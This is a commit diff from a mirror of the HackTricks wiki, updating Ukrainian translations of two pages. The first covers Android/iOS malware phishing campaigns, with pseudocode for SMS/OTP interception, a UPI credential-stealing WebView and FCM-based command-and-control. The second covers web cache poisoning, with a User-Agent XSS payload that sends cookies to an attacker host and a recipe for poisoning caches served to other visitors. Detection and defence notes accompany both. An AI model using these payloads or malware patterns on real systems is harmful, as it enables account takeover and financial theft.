mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/pentesting-web/deserialization/README.md', 'src/gen
This commit is contained in:
		
							parent
							
								
									04a7148fa2
								
							
						
					
					
						commit
						e33e199cf9
					
				@ -3,21 +3,21 @@
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
> [!INFO]
 | 
			
		||||
> Ця сторінка охоплює техніки, які використовують загрози для розповсюдження **шкідливих Android APK** та **профілів мобільної конфігурації iOS** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
 | 
			
		||||
> Ця сторінка охоплює техніки, які використовують зловмисники для розповсюдження **шкідливих Android APK** та **профілів мобільної конфігурації iOS** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
 | 
			
		||||
> Матеріал адаптовано з кампанії SarangTrap, викритої Zimperium zLabs (2025) та інших публічних досліджень.
 | 
			
		||||
 | 
			
		||||
## Потік Атаки
 | 
			
		||||
 | 
			
		||||
1. **Інфраструктура SEO/Фішингу**
 | 
			
		||||
* Зареєструвати десятки доменів, що схожі (знайомства, хмарний обмін, автомобільні послуги…).
 | 
			
		||||
* Зареєструвати десятки доменів, що схожі (знайомства, хмарне зберігання, автомобільні послуги…).
 | 
			
		||||
– Використовувати ключові слова та емодзі місцевою мовою в елементі `<title>`, щоб піднятися в Google.
 | 
			
		||||
– Розмістити *обидва* інструкції з установки Android (`.apk`) та iOS на одній цільовій сторінці.
 | 
			
		||||
2. **Перший Етап Завантаження**
 | 
			
		||||
* Android: пряме посилання на *недодаткований* або “сторону третьої особи” APK.
 | 
			
		||||
* Android: пряме посилання на *недодаткований* або “додаток з третьої сторони” APK.
 | 
			
		||||
* iOS: `itms-services://` або просте HTTPS посилання на шкідливий **mobileconfig** профіль (див. нижче).
 | 
			
		||||
3. **Соціальна Інженерія Після Встановлення**
 | 
			
		||||
* При першому запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу).
 | 
			
		||||
* Код **POSTиться через HTTP** на Командний та Контрольний (C2).
 | 
			
		||||
* Код **POSTиться через HTTP** на Командний та Контрольний (C2) сервер.
 | 
			
		||||
* C2 відповідає `{"success":true}` ➜ шкідливе ПЗ продовжує працювати.
 | 
			
		||||
* Динамічний аналіз пісочниці / AV, який ніколи не подає дійсний код, не бачить **шкідливої поведінки** (евазія).
 | 
			
		||||
4. **Зловживання Дозволами Часу Виконання** (Android)
 | 
			
		||||
@ -29,7 +29,7 @@
 | 
			
		||||
<!-- Старі версії також запитували дозволи на SMS -->
 | 
			
		||||
```
 | 
			
		||||
* Останні варіанти **видаляють `<uses-permission>` для SMS з `AndroidManifest.xml`**, але залишають шлях коду Java/Kotlin, який читає SMS через рефлексію ⇒ знижує статичний бал, але все ще функціонує на пристроях, які надають дозвіл через зловживання `AppOps` або старі цілі.
 | 
			
		||||
5. **Фасадний UI та Збір Даних у Фоновому Режимі**
 | 
			
		||||
5. **Фасадний Інтерфейс та Збір Даних у Фоновому Режимі**
 | 
			
		||||
* Додаток показує безпечні екрани (переглядач SMS, вибір галереї), реалізовані локально.
 | 
			
		||||
* Тим часом він ексфільтрує:
 | 
			
		||||
- IMEI / IMSI, номер телефону
 | 
			
		||||
@ -50,14 +50,14 @@ Payloads **пакуються в архів** і надсилаються чер
 | 
			
		||||
## Тестування Захисту / Поради Червоній Команді
 | 
			
		||||
 | 
			
		||||
* **Обхід Динамічного Аналізу** – Під час оцінки шкідливого ПЗ автоматизуйте фазу коду запрошення за допомогою Frida/Objection, щоб досягти шкідливої гілки.
 | 
			
		||||
* **Порівняння Маніфесту та Часу Виконання** – Порівняйте `aapt dump permissions` з `PackageManager#getRequestedPermissions()` під час виконання; відсутність небезпечних дозволів є червоним прапором.
 | 
			
		||||
* **Мережева Канарка** – Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE`, щоб виявити непостійні сплески POST після введення коду.
 | 
			
		||||
* **Порівняння Маніфесту та Часу Виконання** – Порівняйте `aapt dump permissions` з часом виконання `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів є червоним прапором.
 | 
			
		||||
* **Мережева Канарка** – Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE`, щоб виявити непостійні POST-сплески після введення коду.
 | 
			
		||||
* **Перевірка mobileconfig** – Використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перерахувати `PayloadContent` і виявити надмірні права.
 | 
			
		||||
 | 
			
		||||
## Ідеї для Виявлення Блакитної Команди
 | 
			
		||||
 | 
			
		||||
* **Прозорість Сертифікатів / DNS Аналітика** для виявлення раптових сплесків доменів з багатими ключовими словами.
 | 
			
		||||
* **User-Agent та Regex Шляхів**: `(?i)POST\s+/(check|upload)\.php` з клієнтів Dalvik поза Google Play.
 | 
			
		||||
* **User-Agent та Path Regex**: `(?i)POST\s+/(check|upload)\.php` з клієнтів Dalvik поза Google Play.
 | 
			
		||||
* **Телеметрія Кодів Запрошення** – POST 6–8-значних числових кодів незабаром після установки APK може вказувати на стадіювання.
 | 
			
		||||
* **Підписування MobileConfig** – Блокувати недодатковані профілі конфігурації через політику MDM.
 | 
			
		||||
 | 
			
		||||
@ -86,9 +86,127 @@ return conn;
 | 
			
		||||
/upload.php               # batched ZIP exfiltration
 | 
			
		||||
LubanCompress 1.1.8       # "Luban" string inside classes.dex
 | 
			
		||||
```
 | 
			
		||||
## Посилання
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
- [Темна сторона романтики: кампанія вимагання SarangTrap](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 | 
			
		||||
- [Luban – бібліотека стиснення зображень для Android](https://github.com/Curzibn/Luban)
 | 
			
		||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
 | 
			
		||||
 | 
			
		||||
Цей шаблон спостерігався в кампаніях, які зловживають темами державних пільг для крадіжки індійських UPI облікових даних та OTP. Оператори поєднують авторитетні платформи для доставки та стійкості.
 | 
			
		||||
 | 
			
		||||
### Ланцюг доставки через надійні платформи
 | 
			
		||||
- Відео на YouTube → опис містить коротке посилання
 | 
			
		||||
- Коротке посилання → сайт фішингу на GitHub Pages, що імітує легітимний портал
 | 
			
		||||
- Той же репозиторій GitHub містить APK з підробленою позначкою “Google Play”, що безпосередньо посилається на файл
 | 
			
		||||
- Динамічні фішингові сторінки працюють на Replit; віддалений командний канал використовує Firebase Cloud Messaging (FCM)
 | 
			
		||||
 | 
			
		||||
### Dropper з вбудованим payload та офлайн установкою
 | 
			
		||||
- Перший APK є інсталятором (dropper), який постачає справжнє шкідливе ПЗ за адресою `assets/app.apk` і запитує користувача вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі.
 | 
			
		||||
- Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після установки як інсталятор, так і payload присутні як окремі додатки.
 | 
			
		||||
 | 
			
		||||
Static triage tip (grep for embedded payloads):
 | 
			
		||||
```bash
 | 
			
		||||
unzip -l sample.apk | grep -i "assets/app.apk"
 | 
			
		||||
# Or:
 | 
			
		||||
zipgrep -i "classes|.apk" sample.apk | head
 | 
			
		||||
```
 | 
			
		||||
### Динамічне виявлення кінцевих точок через коротке посилання
 | 
			
		||||
- Шкідливе ПЗ отримує список активних кінцевих точок у простому текстовому форматі, розділеному комами, з короткого посилання; прості перетворення рядків створюють фінальний шлях фішингової сторінки.
 | 
			
		||||
 | 
			
		||||
Приклад (санітизований):
 | 
			
		||||
```
 | 
			
		||||
GET https://rebrand.ly/dclinkto2
 | 
			
		||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
 | 
			
		||||
Transform: "gate.html" → "gate.htm" (loaded in WebView)
 | 
			
		||||
UPI credential POST: https://sqcepo.replit.app/addup.php
 | 
			
		||||
SMS upload:           https://sqcepo.replit.app/addsm.php
 | 
			
		||||
```
 | 
			
		||||
Псевдокод:
 | 
			
		||||
```java
 | 
			
		||||
String csv = httpGet(shortlink);
 | 
			
		||||
String[] parts = csv.split(",");
 | 
			
		||||
String upiPage = parts[0].replace("gate.html", "gate.htm");
 | 
			
		||||
String smsPost = parts[1];
 | 
			
		||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
 | 
			
		||||
```
 | 
			
		||||
### WebView-based UPI credential harvesting
 | 
			
		||||
- Крок “Зробити платіж ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного кінцевого пункту всередині WebView і захоплює чутливі поля (телефон, банк, UPI PIN), які `POST`яться на `addup.php`.
 | 
			
		||||
 | 
			
		||||
Minimal loader:
 | 
			
		||||
```java
 | 
			
		||||
WebView wv = findViewById(R.id.web);
 | 
			
		||||
wv.getSettings().setJavaScriptEnabled(true);
 | 
			
		||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 | 
			
		||||
```
 | 
			
		||||
### Саморозповсюдження та перехоплення SMS/OTP
 | 
			
		||||
- Запитуються агресивні дозволи при першому запуску:
 | 
			
		||||
```xml
 | 
			
		||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
 | 
			
		||||
<uses-permission android:name="android.permission.SEND_SMS"/>
 | 
			
		||||
<uses-permission android:name="android.permission.READ_SMS"/>
 | 
			
		||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
 | 
			
		||||
```
 | 
			
		||||
- Контакти використовуються для масової відправки смс-фішингу з пристрою жертви.
 | 
			
		||||
- Вхідні смс перехоплюються приймачем трансляції та завантажуються з метаданими (відправник, текст, SIM-слот, випадковий ID для кожного пристрою) на `/addsm.php`.
 | 
			
		||||
 | 
			
		||||
Схема приймача:
 | 
			
		||||
```java
 | 
			
		||||
public void onReceive(Context c, Intent i){
 | 
			
		||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
 | 
			
		||||
for (SmsMessage m: msgs){
 | 
			
		||||
postForm(urlAddSms, new FormBody.Builder()
 | 
			
		||||
.add("senderNum", m.getOriginatingAddress())
 | 
			
		||||
.add("Message", m.getMessageBody())
 | 
			
		||||
.add("Slot", String.valueOf(getSimSlot(i)))
 | 
			
		||||
.add("Device rand", getOrMakeDeviceRand(c))
 | 
			
		||||
.build());
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### Firebase Cloud Messaging (FCM) як стійкий C2
 | 
			
		||||
- Payload реєструється в FCM; push-повідомлення містять поле `_type`, яке використовується як перемикач для активації дій (наприклад, оновлення шаблонів тексту фішингу, перемикання поведінки).
 | 
			
		||||
 | 
			
		||||
Приклад payload FCM:
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
"to": "<device_fcm_token>",
 | 
			
		||||
"data": {
 | 
			
		||||
"_type": "update_texts",
 | 
			
		||||
"template": "New subsidy message..."
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Ескіз обробника:
 | 
			
		||||
```java
 | 
			
		||||
@Override
 | 
			
		||||
public void onMessageReceived(RemoteMessage msg){
 | 
			
		||||
String t = msg.getData().get("_type");
 | 
			
		||||
switch (t){
 | 
			
		||||
case "update_texts": applyTemplate(msg.getData().get("template")); break;
 | 
			
		||||
case "smish": sendSmishToContacts(); break;
 | 
			
		||||
// ... more remote actions
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### Hunting patterns and IOCs
 | 
			
		||||
- APK містить вторинний вантаж у `assets/app.apk`
 | 
			
		||||
- WebView завантажує платіж з `gate.htm` і ексфільтрує до `/addup.php`
 | 
			
		||||
- Ексфільтрація SMS до `/addsm.php`
 | 
			
		||||
- Конфігурація, що отримується через короткі посилання (наприклад, `rebrand.ly/*`), що повертає CSV кінцеві точки
 | 
			
		||||
- Додатки, позначені як загальні “Оновлення/Безпечне оновлення”
 | 
			
		||||
- FCM `data` повідомлення з `_type` дискримінатором в ненадійних додатках
 | 
			
		||||
 | 
			
		||||
### Detection & defence ideas
 | 
			
		||||
- Позначати додатки, які інструктують користувачів вимкнути мережу під час установки, а потім завантажити другий APK з `assets/`.
 | 
			
		||||
- Сповіщати про кортеж дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + платіжні потоки на основі WebView.
 | 
			
		||||
- Моніторинг виходу для `POST /addup.php|/addsm.php` на не корпоративних хостах; блокувати відомі інфраструктури.
 | 
			
		||||
- Правила мобільного EDR: ненадійний додаток, що реєструється для FCM і розгалужується на основі поля `_type`.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 | 
			
		||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
 | 
			
		||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
 | 
			
		||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -17,7 +17,7 @@
 | 
			
		||||
 | 
			
		||||
1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
 | 
			
		||||
2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
 | 
			
		||||
3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.
 | 
			
		||||
3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб забезпечити зберігання маніпульованої відповіді в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.
 | 
			
		||||
 | 
			
		||||
### Discovery: Check HTTP headers
 | 
			
		||||
 | 
			
		||||
@ -25,7 +25,7 @@
 | 
			
		||||
 | 
			
		||||
### Discovery: Caching error codes
 | 
			
		||||
 | 
			
		||||
Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має статус код 400**, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).
 | 
			
		||||
Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має код статусу 400**, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).
 | 
			
		||||
 | 
			
		||||
Ви можете знайти більше варіантів у:
 | 
			
		||||
 | 
			
		||||
@ -43,18 +43,18 @@ cache-poisoning-to-dos.md
 | 
			
		||||
```
 | 
			
		||||
### Викликати шкідливу відповідь від серверу
 | 
			
		||||
 | 
			
		||||
З параметром/заголовком, що був ідентифікований, перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви його зловживати (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
 | 
			
		||||
З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
 | 
			
		||||
 | 
			
		||||
### Отримати відповідь в кеші
 | 
			
		||||
 | 
			
		||||
Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
 | 
			
		||||
Після того, як ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
 | 
			
		||||
 | 
			
		||||
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не кешується, і значення **`hit`**, коли він кешується.\
 | 
			
		||||
Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешуватися знову: `Cache-Control: public, max-age=1800`
 | 
			
		||||
 | 
			
		||||
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
 | 
			
		||||
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, яку він намагається націлити, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
 | 
			
		||||
 | 
			
		||||
Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебуває в проксі-кеші.
 | 
			
		||||
Ще один заголовок, пов'язаний з кешем, - це **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.
 | 
			
		||||
 | 
			
		||||
При кешуванні запиту будьте **обережні з заголовками, які ви використовуєте**, оскільки деякі з них можуть бути **використані несподівано** як **ключові**, і **жертва повинна буде використовувати той самий заголовок**. Завжди **тестуйте** отруєння кешу з **різними браузерами**, щоб перевірити, чи це працює.
 | 
			
		||||
 | 
			
		||||
@ -83,7 +83,7 @@ cache-poisoning-to-dos.md
 | 
			
		||||
 | 
			
		||||
- CDN буде кешувати все під `/share/`
 | 
			
		||||
- CDN НЕ декодує і не нормалізує `%2F..%2F`, отже, його можна використовувати як **перехід по шляху для доступу до інших чутливих місць, які будуть кешовані**, таких як `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
 | 
			
		||||
- Веб-сервер БУДЕ декодувати і нормалізувати `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен авторизації**.
 | 
			
		||||
- Веб-сервер БУДЕ декодувати і нормалізувати `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен автентифікації**.
 | 
			
		||||
 | 
			
		||||
### Використання отруєння веб-кешу для експлуатації вразливостей обробки куків
 | 
			
		||||
 | 
			
		||||
@ -105,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
 | 
			
		||||
 | 
			
		||||
### Отруєння кешу з використанням обходу шляху для викрадення API ключа <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 | 
			
		||||
 | 
			
		||||
[**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) як було можливим викрасти API ключ OpenAI за допомогою URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що відбувалося, коли запит досягав веб-сервера.
 | 
			
		||||
[**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), як було можливим викрасти API ключ OpenAI за допомогою URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера.
 | 
			
		||||
 | 
			
		||||
Це також краще пояснено в:
 | 
			
		||||
Це також краще пояснюється в:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
cache-poisoning-via-url-discrepancies.md
 | 
			
		||||
@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
 | 
			
		||||
 | 
			
		||||
### Використання кількох заголовків для експлуатації вразливостей отруєння кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 | 
			
		||||
 | 
			
		||||
Іноді вам потрібно буде **експлуатувати кілька неключових вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, контрольований вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
 | 
			
		||||
Іноді вам потрібно буде **експлуатувати кілька незахищених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
 | 
			
		||||
```html
 | 
			
		||||
GET /resources/js/tracking.js HTTP/1.1
 | 
			
		||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 | 
			
		||||
@ -156,13 +156,13 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
 | 
			
		||||
 | 
			
		||||
### Автоматизоване тестування для Web Cache Poisoning
 | 
			
		||||
 | 
			
		||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність web cache poisoning. Він підтримує багато різних технік і є високонастроюваним.
 | 
			
		||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність отруєння веб-кешу. Він підтримує багато різних технік і є високонастроюваним.
 | 
			
		||||
 | 
			
		||||
Приклад використання: `wcvs -u example.com`
 | 
			
		||||
 | 
			
		||||
### Header-reflection XSS + CDN/WAF-допоміжне заповнення кешу (User-Agent, авто-кешовані .js)
 | 
			
		||||
### Header-reflection XSS + CDN/WAF-допоміжне насіння кешу (User-Agent, авто-кешовані .js)
 | 
			
		||||
 | 
			
		||||
Цей реальний шаблон поєднує примітив відображення на основі заголовка з поведінкою CDN/WAF для надійного отруєння кешованого HTML, що надається іншим користувачам:
 | 
			
		||||
Цей реальний шаблон поєднує примітив відображення на основі заголовка з поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, що надається іншим користувачам:
 | 
			
		||||
 | 
			
		||||
- Основний HTML відображав ненадійний заголовок запиту (наприклад, `User-Agent`) в виконуваному контексті.
 | 
			
		||||
- CDN видалив заголовки кешу, але існував внутрішній/оригінальний кеш. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, `.js`), в той час як WAF застосовував слабшу перевірку вмісту до GET-запитів для статичних активів.
 | 
			
		||||
@ -170,11 +170,11 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
 | 
			
		||||
 | 
			
		||||
Практичний рецепт (спостережено на популярному CDN/WAF):
 | 
			
		||||
 | 
			
		||||
1) З чистої IP-адреси (уникати попередніх знижених репутацій), встановіть шкідливий `User-Agent` через браузер або Burp Proxy Match & Replace.
 | 
			
		||||
1) З чистого IP (уникати попередніх знижених репутацій), встановіть шкідливий `User-Agent` через браузер або Burp Proxy Match & Replace.
 | 
			
		||||
2) У Burp Repeater підготуйте групу з двох запитів і використовуйте "Відправити групу паралельно" (однопакетний режим працює найкраще):
 | 
			
		||||
- Перший запит: GET ресурсного шляху `.js` на тому ж походженні, відправляючи ваш шкідливий `User-Agent`.
 | 
			
		||||
- Негайно після цього: GET основної сторінки (`/`).
 | 
			
		||||
3) Перегони маршрутизації CDN/WAF плюс авто-кешований `.js` часто заповнюють отруєний кешований HTML-варіант, який потім надається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж виміри `Vary`, такі як `User-Agent`).
 | 
			
		||||
- Негайно після: GET основної сторінки (`/`).
 | 
			
		||||
3) Перегони маршрутизації CDN/WAF плюс авто-кешований `.js` часто насіння отруєного кешованого HTML-варіанту, який потім надається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж виміри `Vary`, такі як `User-Agent`).
 | 
			
		||||
 | 
			
		||||
Приклад заголовка навантаження (для ексфільтрації не-HttpOnly куків):
 | 
			
		||||
```
 | 
			
		||||
@ -182,13 +182,13 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
 | 
			
		||||
```
 | 
			
		||||
Операційні поради:
 | 
			
		||||
 | 
			
		||||
- Багато CDN приховують заголовки кешу; отруєння може з'явитися лише на багатогодинних циклах оновлення. Використовуйте кілька IP-адрес з різних точок зору та обмежуйте швидкість, щоб уникнути тригерів обмеження швидкості або репутації.
 | 
			
		||||
- Багато CDN приховують заголовки кешу; отруєння може з'явитися лише на багатогодинних циклах оновлення. Використовуйте кілька IP-адрес для спостереження та обмежуйте швидкість, щоб уникнути тригерів обмеження швидкості або репутації.
 | 
			
		||||
- Використання IP-адреси з власного хмари CDN іноді покращує стабільність маршрутизації.
 | 
			
		||||
- Якщо присутній строгий CSP, це все ще працює, якщо відображення виконується в основному HTML-контексті, а CSP дозволяє виконання вбудованого коду або обходиться контекстом.
 | 
			
		||||
- Якщо присутній строгий CSP, це все ще працює, якщо відображення виконується в основному HTML-контексті, а CSP дозволяє вбудоване виконання або обходиться контекстом.
 | 
			
		||||
 | 
			
		||||
Вплив:
 | 
			
		||||
 | 
			
		||||
- Якщо сесійні куки не є `HttpOnly`, можливий нульовий клік ATO шляхом масового ексфільтрування `document.cookie` від усіх користувачів, яким надається отруєний HTML.
 | 
			
		||||
- Якщо сесійні куки не є `HttpOnly`, можливий нульовий клік ATO шляхом масового ексфільтрування `document.cookie` від усіх користувачів, яким подається отруєний HTML.
 | 
			
		||||
 | 
			
		||||
Захист:
 | 
			
		||||
 | 
			
		||||
@ -204,23 +204,23 @@ ATS переслав фрагмент всередині URL без його в
 | 
			
		||||
 | 
			
		||||
### GitHub CP-DoS
 | 
			
		||||
 | 
			
		||||
Надсилання неправильного значення в заголовку content-type викликало кешовану відповідь 405. Ключ кешу містив куки, тому було можливо атакувати лише неавторизованих користувачів.
 | 
			
		||||
Відправка неправильного значення в заголовку content-type викликала кешовану відповідь 405. Ключ кешу містив куки, тому було можливим атакувати лише неавторизованих користувачів.
 | 
			
		||||
 | 
			
		||||
### GitLab + GCP CP-DoS
 | 
			
		||||
 | 
			
		||||
GitLab використовує GCP бакети для зберігання статичного вмісту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тому було можливо надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб повернути порожнє тіло відповіді. Це також могло підтримувати метод `PURGE`.
 | 
			
		||||
GitLab використовує GCP-бакети для зберігання статичного вмісту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тому було можливим надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб повернути порожнє тіло відповіді. Це також могло підтримувати метод `PURGE`.
 | 
			
		||||
 | 
			
		||||
### Rack Middleware (Ruby on Rails)
 | 
			
		||||
 | 
			
		||||
У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається перенаправлення 301 на те ж місце, що може призвести до відмови в обслуговуванні (DoS) цього ресурсу. Крім того, додаток може визнати заголовок `X-forwarded-host` і перенаправити користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.
 | 
			
		||||
У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається перенаправлення 301 на те ж місце, що потенційно може викликати відмову в обслуговуванні (DoS) для цього ресурсу. Крім того, додаток може визнати заголовок `X-forwarded-host` і перенаправити користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.
 | 
			
		||||
 | 
			
		||||
### 403 і сховища
 | 
			
		||||
 | 
			
		||||
Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, ця поведінка може все ще бути присутня в інших проксі-сервісах.
 | 
			
		||||
 | 
			
		||||
### Впровадження ключових параметрів
 | 
			
		||||
### Впровадження параметрів з ключами
 | 
			
		||||
 | 
			
		||||
